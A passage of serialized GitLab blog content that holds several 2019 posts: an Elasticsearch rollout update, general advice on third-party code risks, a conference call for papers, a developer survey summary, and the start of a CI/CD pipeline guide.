anymore.\n\nIn that vein, I wouldn't mind seeing GitLab also supporting the renewable energy industry as\nI don't see that listed in the\n[market segmentation page](/handbook/marketing/strategic-marketing/market-segmentation/#oil--gasenergy) yet.\n\n### Do you participate in other open source projects? If yes, what do you like about other communities and what are some of the things that GitLab can learn?\n\nI do, for example in [The Carpentries](https://carpentries.org/teach/), which provides Open Educational\nResources and basic programming training for researchers. I find the GitLab community is\nquite thoughtful about sharing what they learn about successfully pushing the product and\nthe company forward. So I think other open source projects will find lots of advice in GitLab's\nblog and handbook that is worth considering.\n\n### What do you like to do when you're not working?\n\nI enjoy gardening and going cycling, hiking, and canoeing.\n\n### Anything else you want to share with the community?\n\nWherever appropriate, use [`[skip ci]`](https://docs.gitlab.com/ee/ci/pipelines/#skip-a-pipeline)\nmore often in your commit messages and MR titles.\n\n## Interested in learning how you can contribute?\n\nA good place to start is the [Contributing to GitLab page](/community/contribute/), where you can\nlearn how you can contribute to GitLab code, documentation, translation, and UX design.\n\nIf you have any questions, you are always welcome to reach me at rpaik@gitlab.com.\n\n_Note: This post is part of [a series featuring people who contribute to GitLab](/blog/tags.html#contributors)._\n",[267,815,2704],{"slug":28532,"featured":6,"template":678},"katrin-contributor-post","content:en-us:blog:katrin-contributor-post.yml","Katrin Contributor Post","en-us/blog/katrin-contributor-post.yml","en-us/blog/katrin-contributor-post",{"_path":28538,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":28539,"content":28545,"config":28550,"_id":28552,"_type":16,"title":28553,"_source":17,"_file":28554,"_stem":28555,"_extension":20},"/en-us/blog/elasticsearch-update",{"title":28540,"description":28541,"ogTitle":28540,"ogDescription":28541,"noIndex":6,"ogImage":28542,"ogUrl":28543,"ogSiteName":1180,"ogType":1181,"canonicalUrls":28543,"schema":28544},"Update: The challenge of enabling Elasticsearch on GitLab.com","How we got started with enabling Elasticsearch on the largest GitLab instance, GitLab.com.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749666832/Blog/Hero%20Images/enable-global-search-elasticsearch.jpg","https://about.gitlab.com/blog/elasticsearch-update","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Update: The challenge of enabling Elasticsearch on GitLab.com\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Nick Thomas\"}],\n        \"datePublished\": \"2019-07-16\",\n      }",{"title":28540,"description":28541,"authors":28546,"heroImage":28542,"date":28547,"body":28548,"category":734,"tags":28549},[26739],"2019-07-16","\nBack in March, [Mario](/company/team/#mdelaossa) shared some of the [lessons we'd learned from our last attempt to enable\nElasticsearch](/blog/enabling-global-search-elasticsearch-gitlab-com/) on GitLab.com, an integration that would unlock both [Advanced Global Search](https://docs.gitlab.com/ee/user/search/advanced_search.html)\nand [Advanced Syntax Search](https://docs.gitlab.com/ee/user/search/advanced_search.html). Since then, we've been working hard to address problems with the integration and prepare for [another attempt](https://gitlab.com/groups/gitlab-org/-/epics/853).\n\n## Selective indexing\n\nAt the heart of our dilemma was a classic \"chicken and egg\" problem. We needed\nto gather more information about [Elasticsearch](https://docs.gitlab.com/ee/integration/advanced_search/elasticsearch.html) to make improvements to the total\nindex size, but without an active deployment, that information was very hard to\ngather. Customer feedback and small-scale testing in development environments\nall help, but [dogfooding](https://handbook.gitlab.com/handbook/values/#dogfooding)\nthe integration is the best way to get the information we require.\n\nTo resolve this, we prioritized changes to enable Elasticsearch integration on\nGitLab.com. Since the index size was a hard problem, this meant some kind of\nselective indexing was necessary, so we've added\n[per-project and per-group controls](https://docs.gitlab.com/ee/integration/advanced_search/elasticsearch.html).\n\nOn Jun. 24, 2019, we enabled the integration for the `gitlab-org` group on\nGitLab.com. Now, any searches at the group or project level will make use of the\nElasticsearch index, and the advanced features the integration unlocks will be available.\nWe figured, why not [give it a try](https://gitlab.com/search?search=gitlab-org+%28gitaly+%7C+ee%29&group_id=9970)?\n\nThe total index size for this group – which includes about 500 projects – is around 2.2\nmillion documents and 15GB of data, which is really easy to manage from the point of view of\nElasticsearch administration. The indexing operation itself didn't [go as smoothly as we hoped](https://gitlab.com/gitlab-com/gl-infra/production/issues/800), however!\n\n## Bug fixes\n\nAnother advantage to having selective Elasticsearch indexing enabled on GitLab.com\nis that our engineers need confidence that the feature is performant,\nthat it won't threaten the overall stability of GitLab.com, and that it is\nsubstantially bug-free. So we went through a [Production Readiness Review](https://gitlab.com/groups/gitlab-com/gl-infra/-/epics/64)\nbefore enabling it. The review uncovered a number of pre-existing bugs and new regressions, which have all been fixed in the\n[12.0 release](/releases/2019/06/22/gitlab-12-0-released/). Some of the bugs included:\n\n* [Elasticsearch was sometimes used for searches, even when disabled](https://gitlab.com/gitlab-org/gitlab-ee/issues/11795)\n* [Performance regression indexing database content](https://gitlab.com/gitlab-org/gitlab-ee/issues/11595)\n* [Regression searching for some projects at group level](https://gitlab.com/gitlab-org/gitlab-ee/issues/12091)\n* [Regression visiting page 2 of search results](https://gitlab.com/gitlab-org/gitlab-ee/issues/12254)\n* [Wiki indexing still relied on a shared filesystem](https://gitlab.com/gitlab-org/gitlab-ee/issues/11269)\n* [Searching snippets with Elasticsearch enabled still queries the database, not Elasticsearch](https://gitlab.com/gitlab-org/gitlab-ee/issues/10548)\n\nWe still can't claim to be bug-free, of course, but the picture is a lot rosier than if we'd attempted to roll out this feature without first using it ourselves.\n\nWe'd tested the new indexing code on our staging environment, but this was last\nrefreshed more than a year ago, and was significantly smaller than the group on\nGitLab.com, containing around 150 projects. As a result, some bugs and\nscalability issues were uncovered for the first time in production. We're\naddressing them with high priority in the 12.1 and 12.2 releases. The scaling issues include:\n\n* [Project imports unconditionally enqueue an ElasticCommitIndexerWorker](https://gitlab.com/gitlab-org/gitlab-ee/issues/12362)\n* [Allow maximum bulk request size to be configured](https://gitlab.com/gitlab-org/gitlab-ee/issues/12375)\n* [Intelligently retry bulk-insert failures when indexing](https://gitlab.com/gitlab-org/gitlab-ee/issues/12372)\n* [Note bulk indexing often fails due to statement timeout](https://gitlab.com/gitlab-org/gitlab-ee/issues/12402)\n* [Cannot index large snippets](https://gitlab.com/gitlab-org/gitlab-ee/issues/12111)\n* [Removing documents from the index can fail with a conflict error](https://gitlab.com/gitlab-org/gitlab-ee/issues/12114)\n\nOnce these issues are addressed, indexing at scale should be quick, easy, and\nreliable. Indexing at scale is invaluable from the point of view of an engineer trying out\nchanges to reduce total index size.\n\n## Administration\n\nAnother area for improvement is administering the indexing process\nitself. Although GitLab automatically creates, updates, and removes documents\nfrom the index when changes are made, backfilling existing data required manual\nintervention, running a set of complicated (and slow) rake tasks to get the\npre-existing data into the Elasticsearch index. Unless these instructions were\nfollowed correctly, search results would be incomplete. There was also no way\nto configure a number of important parameters for the indexes created by GitLab.\n\nWhen using the selective indexing feature, GitLab now automatically enqueues\n\"backfill\" tasks for groups and projects as they are added, and removes the\nrelevant records from the index when they are supposed to be removed. We've also made it possible to\n[configure the number of shards and replicas](https://docs.gitlab.com/ee/integration/advanced_search/elasticsearch.html)\nfor the Elasticsearch index directly in the admin panel, so when GitLab creates\nthe index for you, there's no need to manually change the parameters afterwards.\n\nPersonal snippets are the one type of document that won't be respected in the\nselective-indexing case. To ensure they show up in search results, you'll still\nneed to run the [`gitlab:elastic:index_snippets`](https://docs.gitlab.com/ee/integration/advanced_search/elasticsearch.html) rake task [for now](https://gitlab.com/gitlab-org/gitlab-ee/issues/12333).\n\nThere are also improvements if you're not using selective indexing – the admin\narea now has a \"Start indexing\" button. Right now, this only makes sense if\nstarting from an empty index, and doesn't index personal snippets either, but\nwe're hopeful we can [remove the rake tasks entirely](https://gitlab.com/gitlab-org/gitlab-ee/issues/11206)\nin the future.\n\n## What next?\n\nWe're really happy to have Elasticsearch enabled for the `gitlab-org` group, but\nthe eventual goal is to have it [enabled on all of GitLab.com](https://gitlab.com/groups/gitlab-org/-/epics/153).\nWe'll be rolling it out to more groups in the future.\n\nTo get there, we'll need to continue to improve the\n[administration experience](https://gitlab.com/groups/gitlab-org/-/epics/428) using Elasticsearch.\nFor instance, it's still difficult to see the indexing status of a group or\nproject at a glance, a function that would be really useful for our support team to answer\nqueries like \"Why isn't this search term returning the expected results?\"\n\n### Managing the Elasticsearch schema is also a challenge\n\nCurrently, we take the easy route of reindexing everything if we need to change some aspect of the\nschema, which doesn't scale well as the index gets larger. [Some\nwork on this is ongoing](https://gitlab.com/gitlab-org/gitlab-ee/issues/328),\nand the eventual goal is for GitLab to automatically manage changes to the\nElasticsearch index in the same way it does for the database.\n\n[Reducing the index size](https://gitlab.com/groups/gitlab-org/-/epics/429) is\nstill a huge priority, and we hope to make progress on this now that we\nhave an Elasticsearch deployment to iterate against.\n\n### We'd also like to improve the quality of search results\n\nFor example, we have\nreports of code search [failing to find certain identifiers](https://gitlab.com/gitlab-org/gitlab-ee/issues/10693) and we'd like to use the Elasticsearch index in more contexts, such as for\n[filtered search](https://gitlab.com/gitlab-org/gitlab-ee/issues/12082).\n\nThe Elasticsearch integration is progressing. Finally, responsibility for the Elasticsearch integration has been passed from\nthe [Plan stage](/handbook/product/categories/#plan-stage)\nto the [Editor group of the Create stage](/handbook/product/categories/#editor-group).\nI hope you'll join Mario and me in wishing [Kai](/company/team/#phikai),\n[Darva](/company/team/#DarvaSatcher), and the rest of the team the best of luck in tackling the remaining challenges for Elasticsearch. An up-to-date overview of their plans can always be found on\nthe [search strategy](/direction/global-search/) page.\n\nPhoto by [Benjamin Elliott](https://unsplash.com/photos/vc9u77c0LO4) on [Unsplash](https://unsplash.com/)\n{: .note}\n",[754,232,676],{"slug":28551,"featured":6,"template":678},"elasticsearch-update","content:en-us:blog:elasticsearch-update.yml","Elasticsearch Update","en-us/blog/elasticsearch-update.yml","en-us/blog/elasticsearch-update",{"_path":28557,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":28558,"content":28564,"config":28568,"_id":28570,"_type":16,"title":28571,"_source":17,"_file":28572,"_stem":28573,"_extension":20},"/en-us/blog/third-party-code-risks",{"title":28559,"description":28560,"ogTitle":28559,"ogDescription":28560,"noIndex":6,"ogImage":28561,"ogUrl":28562,"ogSiteName":1180,"ogType":1181,"canonicalUrls":28562,"schema":28563},"4 Risks to consider when implementing third-party code","Third-party code is a great resource for businesses, but comes with a number of risks. Explore four ways developers can keep their code secure.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749680662/Blog/Hero%20Images/third-party-code-risks.jpg","https://about.gitlab.com/blog/third-party-code-risks","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"4 Risks to consider when implementing third-party code\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Vanessa Wegner\"}],\n        \"datePublished\": \"2019-07-16\",\n      }",{"title":28559,"description":28560,"authors":28565,"heroImage":28561,"date":28547,"body":28566,"category":8943,"tags":28567},[22656],"\n\nManaging a complex ecosystem of software and partnerships is a fundamental need\nfor today’s businesses. Most enterprises run hundreds of mission-critical apps,\nmany of which are either out-of-the-box or customized third-party solutions.\nThe benefit of third-party software is clear: It saves time, resources, and\nallows you to implement new capabilities quickly, efficiently, and at scale.\n\nUnfortunately, with great reward comes some risk. Many of last year’s most\nsignificant breaches – like CSC, Best Buy, and Delta – were due to missed\nvulnerabilities in the company's third-party applications. For example, Best Buy suffered a breach\nvia their online chat service, [24]7.ai, [which had stored BestBuy customer\npayment data on its servers](https://www.pcmag.com/news/360306/best-buy-suffers-customer-payment-data-breach).\n\nBringing on new, third-party software can be an exciting step forward for your\nworkload and projects, allowing you to add new capabilities, build on the open source\ncommunity, and leverage some of the best code out there. However, each new\npartnership creates an opportunity for hackers to access your systems and\ndata. Even if your vendors claim to be secure, their code might not necessarily\nlive up to the security standards and compliance requirements of your business.\nDevelopers can’t leave all risk management up to their security counterparts;\ndevelopers need to share that responsibility just as they share responsibility\nfor writing their own secure code.\n\n## Risks developers should know about third-party code\n\n1. As Bogdan Rancea writes, open source code fragments are downloaded hundreds\nor thousands of times a day – [and not everyone is contributing secure code or\nmaintaining a secure code sharing system](https://ecommerce-platforms.com/articles/the-dangers-of-third-party-code-dependency).\nThe more complex the code, the easier it is for a few lines of malicious code\nto go undetected.\n1. Rigorous testing is often overlooked for third-party code. If third-party code touches your\ndata, it should be tested – but many businesses either don’t test or complete the\nbare minimum required by their compliance teams.\n1. Standard third-party script tracking is documented, but [there may be\nadditional tracking that isn’t disclosed](https://css-tricks.com/potential-dangers-of-third-party-javascript/).\nThese scripts may be collecting data across your website and apps, storing\npersonally identifiable information from your customers as they engage with your business.\n1. When a breach occurs, your brand will be held responsible. When your\ncustomers’ data is at stake, it doesn’t matter if the breach happens on\nthird-party soil; if it’s your data, it’s your problem.\n\n## Protect your company and customers by planning ahead\n\nWhile a breach may be inevitable, the disastrous aftermath isn’t. Proactive\nsecurity measures in third-party relationships can save your company a lot of\nheartache in the long run, and developers are well suited to lead the charge.\nHere are a few best practices to follow:\n\n### 1. Take inventory of all of your current third-party relationships\n\nBegin with where you are now: Create a list of every third-party program used across your\ncompany. Make sure you know what code is being used, who the contact person is\nboth internally and at the vendor (if applicable), and understand what data is\nbeing accessed or stored by the third party. You may choose to pursue security\nconversations and testing with certain vendors based on the classification of\nthe data they work with, making an inventory of third-party relationships a valuable tool to prioritize.\nOnce your inventory is complete, it may be useful to consider a third-party or\nopen source code audit to thoroughly investigate your code ecosystem.\n\n### 2. Work with security to create formal requirements for all new third parties\n\nEstablishing standards will allow your team to vet potential collaborators and\nensure that any new software or code isn’t posing an unnecessary risk to your\nbusiness. It will also help to serve as a requirements guide during the\nprocurement process and can mitigate internal conflict when trying to get new tools\napproved. If you’re unsure where to start, begin by looking at the\nrequirements of all the legal regulations that apply to your business, such as\nGDPR. You could also look at how the third-party code or tools will interact\nwith your data, systems, and software and create requirements based on what\nwill help you best protect the business.\n\n### 3. Take on a security mindset: It’s everyone’s responsibility\n\nWhen hackers are trying to find any possible way in, it’s important that your entire\norganization – not just the security department – feels responsible for and capable of\ncontributing to your company’s security posture. Widespread security awareness\nwill hopefully make security a priority whenever a team is evaluating a new\ntool or code fragment.\n\n### 4. Data encryption: Start your security practices with the data\n\nSet policies to protect data based on certain trigger actions – like the creation\nof data or external sharing – or based on the level of data sensitivity. By making\nencryption a standard practice across all systems, you’re adding a layer of\nsecurity that requires identity-based authentication, which can give insight to\nwho is accessing your data and when. Moreover, any stolen data will only be\nuseful to hackers if it can be decrypted.\n\nCover image by [Kelly Sikkema](https://unsplash.com/@kellysikkema?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/collections/4571277/programming?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n",[815,674],{"slug":28569,"featured":6,"template":678},"third-party-code-risks","content:en-us:blog:third-party-code-risks.yml","Third Party Code Risks","en-us/blog/third-party-code-risks.yml","en-us/blog/third-party-code-risks",{"_path":28575,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":28576,"content":28581,"config":28586,"_id":28588,"_type":16,"title":28589,"_source":17,"_file":28590,"_stem":28591,"_extension":20},"/en-us/blog/gitlab-commit-cfp-closing-soon",{"title":28577,"description":28578,"ogTitle":28577,"ogDescription":28578,"noIndex":6,"ogImage":27702,"ogUrl":28579,"ogSiteName":1180,"ogType":1181,"canonicalUrls":28579,"schema":28580},"Apply to speak at GitLab Commit!","Share your story with the wider GitLab community.","https://about.gitlab.com/blog/gitlab-commit-cfp-closing-soon","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Apply to speak at GitLab Commit!\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Priyanka Sharma\"}],\n        \"datePublished\": \"2019-07-15\",\n      }",{"title":28577,"description":28578,"authors":28582,"heroImage":27702,"date":28583,"body":28584,"category":299,"tags":28585},[26983],"2019-07-15","\nHello there! The inaugural [GitLab Commit conferences](/events/commit) are coming this fall, and I'm thrilled to invite you to attend **and** speak. After taking over Brooklyn and London, GitLab will be heading to San Francisco in January and the [Call for Papers](https://docs.google.com/forms/d/e/1FAIpQLSdbDLOt7jYDlvZqgs2-IlOoLexszEZ0zGghA3HB-VEq_vVICA/formResponse) is now open. We believe that everyone can contribute, and so we want to hear from you, so apply now to share your insights, innovations, and inspirations. But don't wait too long; the Call for Papers closes on October 21 at 11:59 PM Pacific.\n\nOur community is essential to GitLab, and your unique points of view are what will power great GitLab Commit events. If you need help with your submissions, feel free to reach out to me directly on Twitter – [@pritianka](https://twitter.com/pritianka) – or send an email to the Commit team at commit@gitlab.com. We're delighted to support and elevate your voices.\n\nBelow is more information about the event. Check out what we're cooking up, and I look forward to seeing all of your talk proposals!\n\n## What is Commit?\n\nGitLab Commit brings together the GitLab community to connect, learn, and inspire. You’ll learn about exciting new technologies and hear how creators like you are innovating the future of software development.\n\nGitLab Commit is coming to San Francisco on Jan. 14, 2020!\n\nWe invite you to speak at [GitLab Commit](/events/commit) and share your software journey. We’re looking for stories that showcase the power of DevOps in action. Share the technologies and strategies you’ve employed, your challenges and successes, or a behind-the-scenes look at how you're building something incredible.\n\n**Results** is a [GitLab company value](https://handbook.gitlab.com/handbook/values/#results) – and the theme of this conference – so proposals that share clear results (such as improved cycle times by 30% or reduced MTTR by 45%) will be prioritized.\n\n## Session types\n\nWe're accepting proposals for 30-minute lectures or panels, 20-minute live coding demos, 10-minute lightning talks, and ideas for 'birds of a feather' discussions.\n\n## Tracks\n\n#### Cloud native\nLearn how to leverage cloud native technologies like Kubernetes, severless, and [multicloud](/topics/multicloud/) to build and run applications better and faster.\n\n#### DevOps in action\nExpect to walk away with practical advice and examples of how others navigated their DevOps transformations. These sessions focus on actions and results rather than high-level ideas.\n\n#### Live coding\nThese adrenaline-pumping sessions will feature doers on stage, live coding, debugging, and hacking. Join along on your laptop or just enjoy the show.\n\n#### Powered by GitLab\nSoftware has eaten the world, and we are all better for it. Hear how developers like you are building on GitLab to solve large-scale problems across the world, from humanitarian crises to space exploration.\n\n## Looking for inspiration?\n\nHere are some ideas to help you get started:\n\n* The single application for cloud native: How you utilize multiple (not necessarily all) GitLab product stages from Manage to Plan, Create, Verify, Package, Secure, Release, Configure, Monitor, and Protect your software DevSecOps lifecycle\n* Planning and managing DevOps: Tips, tricks, and lessons learned about how to organize, plan, and deliver across groups and projects. Share how you estimate, plan sprints, create boards, and keep your project moving forward.\n* Social coding: DevOps is a team effort – we learn from each other. In this track learn how to master Git, code reviews, and innersourcing to make it easier for you to share and ship faster.\n* Automated, secure, and reliable applications: From CI and CD to security, automation is the foundation of DevOps transformation. In this track, we are exploring best practices and insights into what it takes to rapidly iterate and deliver at the speed of business.\n* Cloud native and Kubernetes: GitLab + Kubernetes = Awesome\n\n## Deadline\n\nThe Call For Papers for GitLab Commit San Francisco closes October 21! [Get more details and to submit your talks here](https://forms.gle/cJGtGythtaoi4ucB8).\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/hi2D0Se_VnA\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n",[277,267],{"slug":28587,"featured":6,"template":678},"gitlab-commit-cfp-closing-soon","content:en-us:blog:gitlab-commit-cfp-closing-soon.yml","Gitlab Commit Cfp Closing Soon","en-us/blog/gitlab-commit-cfp-closing-soon.yml","en-us/blog/gitlab-commit-cfp-closing-soon",{"_path":28593,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":28594,"content":28600,"config":28605,"_id":28607,"_type":16,"title":28608,"_source":17,"_file":28609,"_stem":28610,"_extension":20},"/en-us/blog/global-developer-report",{"title":28595,"description":28596,"ogTitle":28595,"ogDescription":28596,"noIndex":6,"ogImage":28597,"ogUrl":28598,"ogSiteName":1180,"ogType":1181,"canonicalUrls":28598,"schema":28599},"2019 Global Developer Report: security roadblocks hit teams","Over 4,000 software professionals shared their DevOps experiences, helping us uncover what they require in order to innovate rapidly.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749672611/Blog/Hero%20Images/2019-global-developer-report-blog.png","https://about.gitlab.com/blog/global-developer-report","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"2019 Global Developer Report: DevSecOps finds security roadblocks divide teams\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Suri Patel\"}],\n        \"datePublished\": \"2019-07-15\",\n      }",{"title":28601,"description":28596,"authors":28602,"heroImage":28597,"date":28583,"body":28603,"category":8943,"tags":28604},"2019 Global Developer Report: DevSecOps finds security roadblocks divide teams",[20767],"\nWe have liftoff! The 2019 Global Developer Report: DevSecOps has arrived! Thanks to the 4,071 crew members – across various industries, roles, and geographic locations – we’ve uncovered what helps and hurts software professionals on the journey to bring developers, security professionals, and operations team members together.\n\nAccording to our survey respondents, the primary mission for all software professionals today is improvement.  Everyone wants more secure code, increased visibility, reduced cycle times, and continuous deployment, but how do teams get there? Based on our survey results, DevOps done right can help realize these goals. But DevOps itself can be challenging to implement, creating other difficulties.\n\nHere are a few key takeaways from the survey that might help you create a more nuanced and strategic DevOps flight plan for your organization.\n\n## Good DevOps: The answer to security problems?\n\nSecurity teams in a longstanding DevOps environment reported they are 3 times \nmore likely to discover bugs before code is merged and 90% more likely to test \nbetween 91% and 100% of code than teams who encounter early-stage DevOps. Nearly \nhalf of all mature DevOps respondents practiced continuous deployment in at least \nsome part of their organizations. But at the same time, only about a third of \nrespondents actually rated their organizations’ DevOps efforts as “good.”\n\n> “The big takeaway from this survey is that early adopters of strong DevOps \nmodels experience greater security and find it easier to innovate, but barriers \nstill prevent developers and security teams from achieving true DevSecOps,” said \nSid Sijbrandij, CEO and co-founder of GitLab. “Teams need a single solution that \ncan provide visibility into both sides of the process for streamlined deployment.”\n\nClearly challenges remain, and nowhere is that more obvious than in security. \nWhile 69% of developers indicate they’re expected to write secure code, nearly \nhalf of security pros surveyed (49%) said they struggle to get developers to make \nremediation of vulnerabilities a priority. And 68% of security professionals feel \nthat fewer than half of developers are able to spot security vulnerabilities \nlater in the lifecycle. Roughly half of security professionals said bugs were \nmost often found by them after code is merged in a test environment.\n\n![2019 Developer Report security findings](https://about.gitlab.com/images/blogimages/security-vulnerabilities.png){: .large.center}\n\n## Choosing DevOps\n\nMore companies are making the move to DevOps than before, and for good reason – \nteams that have successfully implemented a mature [DevOps model](/solutions/security-compliance/) experience major \nimprovements in their workflow. According to the survey, developers who work at \norganizations with immature DevOps models feel their processes inhibit them, \nwhile those who work with mature models are almost 1.5 times more likely to feel \ninnovative and 3 times more likely to discover security vulnerabilities earlier \non in the pipeline.\n\nPoor DevOps practices slow teams down. Those organizations are 2.5 times more \nlikely to encounter significant delays during the planning stage and 2.6 times \nmore likely to wade through red tape, slowing efforts to quickly fix security \nvulnerabilities.\n\n## Remote work works\n\nAccording to our survey respondents, working remotely leads to greater \ncollaboration, better documentation, and transparency. In fact, developers in a \nmostly remote environment are 23% more likely to have good insight into what \ncolleagues are working on and rate the maturity of their organization’s security \npractices 29% higher than those who work in a traditional office environment.\n\n## About the survey\n\nGitLab surveyed 4,071 software professionals across various industries, roles,\nand geographic locations. The margin of error is 2%, assuming a population size\nof 23 million software professionals and a 95% confidence level.\n\n## Methodology\n\nWe launched a Global Developer Survey on Jan. 23, 2019, collecting responses\nuntil Feb. 27, 2019. During that time, we promoted the survey primarily on GitLab’s\nsocial media channels and newsletter.\n\n### Frequently asked questions\n\n| -------- | -------- |\n| **How can I read the report?**   | You can [download the full report here](/developer-survey/).   |\n| **Are the raw results publicly available?**  | Yes, you can [view the raw data here](https://www.surveymonkey.com/results/SM-8LLKL2N87/).   |\n| **Did only GitLab users take the survey?** | No, it was open to all software professionals across various industries, roles, and geographic locations.  |\n| **How can I ask questions or give feedback about the survey and results?** | Please direct questions or comments about the survey to surveys@gitlab.com. |\n| **I’d like to participate in the next survey. Can I sign up for alerts?** | The best way to receive news about the Global Developer Survey is to [sign up for our bi-weekly newsletter](/company/preference-center/). |\n",[8570,4103,736],{"slug":28606,"featured":6,"template":678},"global-developer-report","content:en-us:blog:global-developer-report.yml","Global Developer Report","en-us/blog/global-developer-report.yml","en-us/blog/global-developer-report",{"_path":28612,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":28613,"content":28618,"config":28623,"_id":28625,"_type":16,"title":28626,"_source":17,"_file":28627,"_stem":28628,"_extension":20},"/en-us/blog/guide-to-ci-cd-pipelines",{"title":28614,"description":28615,"ogTitle":28614,"ogDescription":28615,"noIndex":6,"ogImage":12013,"ogUrl":28616,"ogSiteName":1180,"ogType":1181,"canonicalUrls":28616,"schema":28617},"A quick guide to GitLab CI/CD pipelines","How GitLab is making a better pipeline with Auto DevOps.","https://about.gitlab.com/blog/guide-to-ci-cd-pipelines","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"A quick guide to GitLab CI/CD pipelines\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Chrissie Buchanan\"}],\n        \"datePublished\": \"2019-07-12\",\n      }",{"title":28614,"description":28615,"authors":28619,"heroImage":12013,"date":28620,"body":28621,"category":8943,"tags":28622},[18462],"2019-07-12","\nTo be successful with [DevOps](https://about.gitlab.com/topics/devops/), teams must use [automation](https://docs.gitlab.com/ee/topics/autodevops/), and [CI/CD pipelines](https://about.gitlab.com/topics/ci-cd/) are a big part of that journey. At its most basic level, a pipeline gets code from point A to point B. The quicker and more efficient the pipeline is, the better it will accomplish this task.\n## What is a CICD pipeline?\n\nA pipeline is the lead component of continuous integration, delivery, and deployment. It drives software development through building, testing and deploying code in stages. Pipelines are comprised of jobs, which define what will be done, such as compiling or testing code, as well as stages that spell out when to run the jobs. An example would be running tests after stages that compile the code.\n\nA CI/CD pipeline automates steps in the SDLC such as builds, tests, and deployments. When a team takes advantage of automated pipelines, they simplify the handoff process and decrease the chance of human error, creating faster iterations and better quality code. Everyone can see where code is in the process and identify problems long before they make it to production.\n\nBefore we dive in, let's cover some basics:\n\n## The GitLab pipeline glossary\n\n**Commit**: A code change.\n\n**Job**: Instructions that a runner has to execute.\n\n**Pipeline**: A collection of jobs split into different stages.\n\n**Runner**: An agent or server that executes each job individually that can spin up or down as needed.\n\n**Stages**: A keyword that defines certain stages of a job, such as `build` and `deploy`. Jobs of the same stage are executed in parallel.\nPipelines are configured using a version-controlled YAML file, `.gitlab-ci.yml`, within the root of a project. From there, you can set up parameters of your pipeline:\n\n*   What to execute using [GitLab Runner](https://docs.gitlab.com/ee/ci/runners/#configuring-gitlab-runners)\n*   What happens when a process succeeds or fails\n\nNot all jobs are so simple. For larger products that require cross-project interdependencies, such as those adopting a [microservices architecture](/blog/strategies-microservices-architecture/), there are [multi-project pipelines](/blog/use-multiproject-pipelines-with-gitlab-cicd/).\n\n![multi-project pipelines](https://about.gitlab.com/images/topics/multi-project_pipelines.png){: .shadow.medium.center }\n\nIn GitLab 9.3 we made it possible to display links for upstream and downstream projects directly on the pipeline graph, so developers can check the overall status of the entire chain in a single view. Pipelines continue to evolve, and in our [CI/CD product vision](https://about.gitlab.com/direction/ops/) we’re looking into making pipelines even more cohesive by implementing [Multiple Pipelines in a single `.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab-ce/issues/22972) in the future.\n\n## Pipeline as code\n\nDefining deployment pipelines through source code such as Git, is known as pipeline as a code. The pipeline as code practice is part of a larger “as code” movement that includes infrastructure as code. Teams can configure builds, tests, and deployment in code that is trackable and stored in a centralized source repository. They can use a declarative YAML approach or a vendor-specific programming language, such as Jenkins and Groovy, but the premise remains the same.\n\nA pipeline as code file specifies the stages, jobs, and actions for a pipeline to perform. Because the file is versioned, changes in pipeline code can be tested in branches with the corresponding application release.\n\nThe pipeline as code model of creating continuous integration pipelines is an industry best practice. There are multiple benefits, such as the ability to store CI pipelines and application code in the same repository. Developers can also make changes without additional permissions, working with tools they’re already using.\n\nOther benefits are more efficient collaboration and the ability to keep information accessible so team members can act on their decisions. Pipeline changes are subject to a code review process, avoiding any break in the pipeline migration.\n\nDeployment pipelines are in a version control system independent of continuous integration tools. Pipelines can be restored if the continuous integration system goes down. If a team wants to switch CI tools at another point, pipelines can be moved into a new system.\n\nIn the early iterations of [CI/CD](/topics/ci-cd/), DevOps tools set up pipelines as point-and-click or through a GUI. This originally presented a number of challenges:\n\n*   Auditing was limited to what was already built in\n*   Unable to collaborate\n*   Difficulty troubleshooting\n\nSomething as simple as rolling back to the last known config was an exercise in futility. CI/CD pipelines during this time were prone to breaking, lacked visibility, and were difficult to change.\n\nThe pipeline as code model corrected a lot of these pain points and offered the flexibility teams needed to execute efficiently. With source code, teams could use Git to search and introspect changes.\n\nToday, many tools have adopted YAML configuration as a best practice. GitLab CI/CD has used code, rather than GUI, since the beginning for pipeline configuration. \"Pipeline as code\" comes with many of the same benefits the other \"as code\" trends have:\n\n*   **Version control** – keep track of changes over time and revert to previous configurations easily\n*   **Audit trails** – know when and what changes were made to the source code\n*   **Ease of collaboration** – code is available to the team for improvements, suggestions, and updates\n*   **Knowledge sharing** – import templates and code snippets so teams can share best practices\n*   **Built-in Lint tool** – ensures YAML file is valid and assists new users\n\nThe principles of software development apply not only to the applications we deliver but also to _how_ we build them. The pipeline as code model creates automated processes that help developers build applications better and faster. Having everything documented in a source repository allows for greater visibility and collaboration so that everyone can continually improve processes, which is what DevOps is all about.\n\n## What are the different stages of a GitLab CI/CD pipeline?\n\nPipelines are comprised of jobs, which define _what_ to do, such as compiling or testing code; stages, which define _when_ to run the jobs; and runners, which are agents or servers that execute each job, and can spin up or down as needed.\n\nPipelines are generally executed automatically and don’t need any intervention once they are created. \n\nA typical pipeline generally consists of a few stages in the following 